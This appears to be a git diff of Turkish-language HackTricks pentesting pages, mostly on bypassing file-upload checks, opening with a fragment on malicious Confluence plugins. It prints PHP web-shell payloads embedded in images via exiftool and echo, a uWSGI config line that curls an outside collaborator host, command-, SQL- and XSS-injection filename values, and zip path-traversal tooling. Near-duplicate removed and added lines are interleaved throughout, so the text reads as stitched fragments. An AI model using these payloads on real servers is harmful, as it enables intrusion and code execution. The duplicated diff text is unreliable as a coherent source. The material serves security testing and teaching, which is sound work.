* [Makro Eklenti Modülü ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence Makrolarını, yani parametreli HTML şablonlarını uygular
Bu, makro eklenti türüne bir örnektir:
```java
@ -124,20 +124,20 @@ Kötü niyetli bir eklentinin gerçekleştirebileceği bazı eylemler şunlardı
* **Yönetimcilerden Eklentileri Gizleme**: Kötü niyetli eklentiyi bazı ön yüz javascript'i enjekte ederek gizlemek mümkündür.
* **Ekleri ve Sayfaları Sızdırma**: Tüm verilere erişim sağlamak ve sızdırmak.
* **Oturum Token'larını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yankılayacak bir uç nokta eklemek ve bunu iletişim kuracak ve çerezleri sızdıracak bazı javascript ile yapmak.
* **Oturum Jetonlarını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yansıtan bir uç nokta eklemek ve bunu iletişim kuracak bazı javascript ile çerezleri sızdırmak.
* **Komut Çalıştırma**: Elbette, kod çalıştıracak bir eklenti oluşturmak mümkündür.
* **Ters Shell**: Ya da ters bir shell almak.
* **DOM Proxying**: Eğer confluence özel bir ağ içindeyse, buna erişimi olan bir kullanıcının tarayıcısı aracılığıyla bir bağlantı kurmak ve örneğin sunucu komutunu çalıştırmak mümkündür.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,13 +9,13 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@ -50,7 +50,7 @@ Diğer yararlı uzantılar:
* _file._
* _file.php...._
* _file.pHp5...._
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanarak. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlatmayı deneyin, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -62,7 +62,7 @@ Diğer yararlı uzantılar:
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_**_ ama mutlaka .php ile bitmeyenlerin kod çalıştıracağı Apache yanlış yapılandırmalarını istismar etmek için yararlıdır):
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmeyen her şey kod çalıştırır):
* _ör: file.php.png_
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
@ -80,17 +80,17 @@ AAA<--SNIP 232 A-->AAA.php.png
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya yükü doğrudan bir görüntüye de **ekleyebilirsiniz**:\
`\` veya yükü doğrudan bir resme de **ekleyebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Eğer **sıkıştırma** görüntünüze ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için [**burada tanımlanan PLTE parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Web sayfası da **görüntüyü yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için [**burada tanımlanan IDAT parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Yeniden boyutlandırmayı **geçen** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için [**burada tanımlanan tEXt parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Diğer Kontrol Edilecek İpuçları
@ -100,24 +100,24 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Olası Bilgi sızıntısı**:
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
3. **“.”, “..” veya “…”** gibi bir isme sahip bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
3. **“.”, “..” veya “…”** gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
5. **Windows**'ta ismi `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
6. **Windows**'ta **rezerv** (**yasaklı**) **isimler** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **kurban tarafından yanlışlıkla açıldığında** çalıştırmak için **yüklemeyi** deneyin.
5. **Windows**'ta **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”` adında. (Windows)
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
* Ayrıca **çalıştırılabilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin, bu dosya kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
### Özel uzantı ipuçları
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** ipucuna bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** ipucuna bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
## **Jetty RCE**
Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
## **wget Dosya Yükleme/SSRF Hilesi**
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, **bu kontrol atlatılabilir.**\
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -179,27 +179,27 @@ Not edin ki **başka bir seçenek** olarak bu kontrolü atlatmayı düşündüğ
## Araçlar
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) Pentester'lar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmeye yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir ve web uygulamalarının kapsamlı değerlendirmelerini sağlar.
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) güçlü bir araçtır ve Pentester'lar ile Hata Avcıları'nın dosya yükleme mekanizmalarını test etmelerine yardımcı olmak için tasarlanmıştır. Çeşitli hata ödül tekniklerini kullanarak, zafiyetleri tanımlama ve istismar etme sürecini basitleştirir ve web uygulamalarının kapsamlı değerlendirmelerini sağlar.
## Dosya yüklemeden diğer güvenlik açıklarına
## Dosya yüklemeden diğer zafiyetlere
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz
* **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin
* **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu hilesi burada](../command-injection.md))
* [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**ık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yüklemeleri** deneyin\*\*\*\*
* [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
* **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
* **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu hilesi burada](../command-injection.md)).
* [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg).
* **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers).
* [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
* [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yüklemeleri** deneyin.
* [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
* Eğer **web sunucusunu bir URL'den bir resmi yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
* [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md)
* XSS için özel olarak hazırlanmış PDF'ler: [aşağıdaki sayfa **PDF verilerini enjekte ederek JS yürütmeyi nasıl elde edeceğinizi** göstermektedir](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin
* Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
* [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
* XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
* Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan [alındı](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi ( [buradan](https://twitter.com/SalahHasoneh1/status/1281274120395685889) ):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Saklı XSS / SSRF / XXE
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Farklı klasörlerde aç
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
Açma işlemi sırasında dizinlerde dosyaların beklenmedik bir şekilde oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
```python
@ -312,11 +312,11 @@ Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-she
## Poliglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerine yüklemeye izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir.
Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,15 +329,15 @@ Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-f
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
